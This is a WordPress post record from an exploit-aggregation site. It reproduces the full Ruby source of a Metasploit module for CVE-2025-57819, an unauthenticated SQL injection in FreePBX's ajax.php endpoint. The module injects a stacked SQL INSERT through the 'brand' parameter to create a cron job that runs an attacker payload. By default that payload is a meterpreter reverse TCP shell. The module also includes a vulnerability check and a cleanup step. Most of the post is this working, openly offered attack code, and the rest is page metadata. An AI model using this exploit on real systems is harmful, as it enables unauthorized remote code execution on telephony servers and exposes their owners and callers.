{"id":18798,"date":"2025-09-23T14:57:11","date_gmt":"2025-09-23T14:57:11","guid":{"rendered":"http:\/\/localhost\/?p=18798"},"modified":"2025-09-23T14:57:11","modified_gmt":"2025-09-23T14:57:11","slug":"freepbx-ajaxphp-unuthenticated-sqli-to-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=18798","title":{"rendered":"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-23T19:06:19&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,           and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;modified&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;FreePBX ajax.php unuthenticated SQLi to RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-57819&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;FreePBX ajax.php unuthenticated SQLi to RCE&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,\\n          and 17.0.3. The vulnerability lies in the \/admin\/ajax.php endpoint, which is accessible without\\n          authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing\\n          remote code execution on the target system.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Echo_Slow&#8217;, # msf module\\n          &#8216;Piotr Bazydlo&#8217;, # POC used as a template\\n          &#8216;Sonny&#8217; # POC used as a template\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-57819&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/labs.watchtowr.com\/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819\/&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;linux&#8217;],\\n        &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Unix Command&#8217;,\\n            {\\n              &#8216;DefaultOptions&#8217; =\\u003e\\n              {\\n                &#8216;Payload&#8217; =\\u003e &#8216;cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp&#8217;,\\n                &#8216;WfsDelay&#8217; =\\u003e 70 # cronjob may take up to a minute to start\\n              }\\n            }\\n          ]\\n        ],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-08-28&#8217;,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(\\n          &#8216;TARGETURI&#8217;,\\n          [false, &#8216;The URI for the FreePBX installation&#8217;, &#8216;\/&#8217;]\\n        )\\n      ]\\n    )\\n  end\\n\\n  def check\\n    print_status(&#8216;Checking if vulnerable&#8230;&#8217;)\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;ajax.php&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e {\\n        &#8216;module&#8217; =\\u003e &#8216;FreePBX\\\\\\\\modules\\\\\\\\endpoint\\\\\\\\ajax&#8217;,\\n        &#8216;command&#8217; =\\u003e &#8216;model&#8217;,\\n        &#8216;template&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(3..6),\\n        &#8216;model&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(3..6),\\n        &#8216;brand&#8217; =\\u003e \\&#8221;#{Rex::Text.rand_text_alphanumeric(3..6)}&#8217;\\&#8221;\\n      }\\n    )\\n\\n    if res\\u0026.code == 500 \\u0026\\u0026 res.body =~ \/You have an error in your SQL syntax\/\\n      return Exploit::CheckCode::Vulnerable(&#8216;Detected SQL injection&#8217;)\\n    end\\n\\n    Exploit::CheckCode::Safe(&#8216;No SQL injection detected, target is patched&#8217;)\\n  end\\n\\n  def exploit\\n    module_name = Rex::Text.rand_text_alpha(4..7)\\n    @job_name = Rex::Text.rand_text_alpha(4..7)\\n\\n    rce_payload = Rex::Text.rand_text_alpha(4..7)\\n    rce_payload \\u003c\\u003c \\&#8221;&#8216;;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\\&#8221;\\n    rce_payload \\u003c\\u003c \\&#8221; VALUES (&#8216;#{module_name}&#8217;,&#8217;#{@job_name}&#8217;,&#8217;#{payload.encoded}&#8217;,NULL,&#8217;* * * * *&#8217;,30,1,1) &#8212; \\&#8221;\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;ajax.php&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e {\\n        &#8216;module&#8217; =\\u003e &#8216;FreePBX\\\\\\\\modules\\\\\\\\endpoint\\\\\\\\ajax&#8217;,\\n        &#8216;command&#8217; =\\u003e &#8216;model&#8217;,\\n        &#8216;template&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(3..6),\\n        &#8216;model&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(3..6),\\n        &#8216;brand&#8217; =\\u003e rce_payload\\n      }\\n    )\\n\\n    if res\\u0026.code == 500 \\u0026\\u0026 res.body =~ \/Trying to access array offset on value of type bool\/\\n      print_good(\\&#8221;Created cronjob with job name: &#8216;#{@job_name}&#8217;\\&#8221;)\\n      print_status(&#8216;Waiting for cronjob to trigger&#8230;&#8217;)\\n    else\\n      fail_with(Failure::PayloadFailed, &#8216;Cronjob was not created.&#8217;)\\n    end\\n  end\\n\\n  def cleanup\\n    super\\n\\n    return unless @job_name\\n\\n    # Remove the created cronjob\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;ajax.php&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e {\\n        &#8216;module&#8217; =\\u003e &#8216;FreePBX\\\\\\\\modules\\\\\\\\endpoint\\\\\\\\ajax&#8217;,\\n        &#8216;command&#8217; =\\u003e &#8216;model&#8217;,\\n        &#8216;template&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(3..6),\\n        &#8216;model&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(3..6),\\n        &#8216;brand&#8217; =\\u003e \\&#8221;&#8216;; DELETE FROM cron_jobs WHERE jobname=\\\\&#8217;#{@job_name}\\\\&#8217; &#8212; \\&#8221;\\n      }\\n    )\\n\\n    print_status(&#8216;Attempting to perform cleanup&#8217;)\\n\\n    if res\\u0026.code == 500 \\u0026\\u0026 res.body =~ \/Trying to access array offset on value of type bool\/\\n      print_good(&#8216;Cronjob removed, happy hacking!&#8217;)\\n    else\\n      print_bad(&#8216;Cronjob not removed, please perform manual cleanup!&#8217;)\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/unix\/http\/freepbx_unauth_sqli_to_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/unix\/http\/freepbx_unauth_sqli_to_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-23T19:06:19&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;modified&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;FreePBX ajax.php unuthenticated SQLi to RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-57819&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,169,13,7,11,5],"class_list":["post-18798","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=18798\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-09-23T19:06:19&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;modified&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;FreePBX ajax.php unuthenticated SQLi to RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-57819&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=18798\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-23T14:57:11+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18798#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18798\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-\",\"datePublished\":\"2025-09-23T14:57:11+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18798\"},\"wordCount\":910,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=18798#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18798\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18798\",\"name\":\"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-09-23T14:57:11+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18798#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=18798\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18798#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=18798","og_locale":"en_US","og_type":"article","og_title":"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-09-23T19:06:19&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;modified&#8221;:&#8221;2025-09-23T18:56:43&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;FreePBX ajax.php unuthenticated SQLi to RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-57819&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit:...","og_url":"https:\/\/zero.redgem.net\/?p=18798","og_site_name":"zero redgem","article_published_time":"2025-09-23T14:57:11+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=18798#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=18798"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-","datePublished":"2025-09-23T14:57:11+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=18798"},"wordCount":910,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=18798#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=18798","url":"https:\/\/zero.redgem.net\/?p=18798","name":"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-09-23T14:57:11+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=18798#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=18798"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=18798#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"FreePBX ajax.php unuthenticated SQLi to RCE_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_UNAUTH_SQLI_TO_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/18798","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18798"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/18798\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18798"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18798"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18798"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}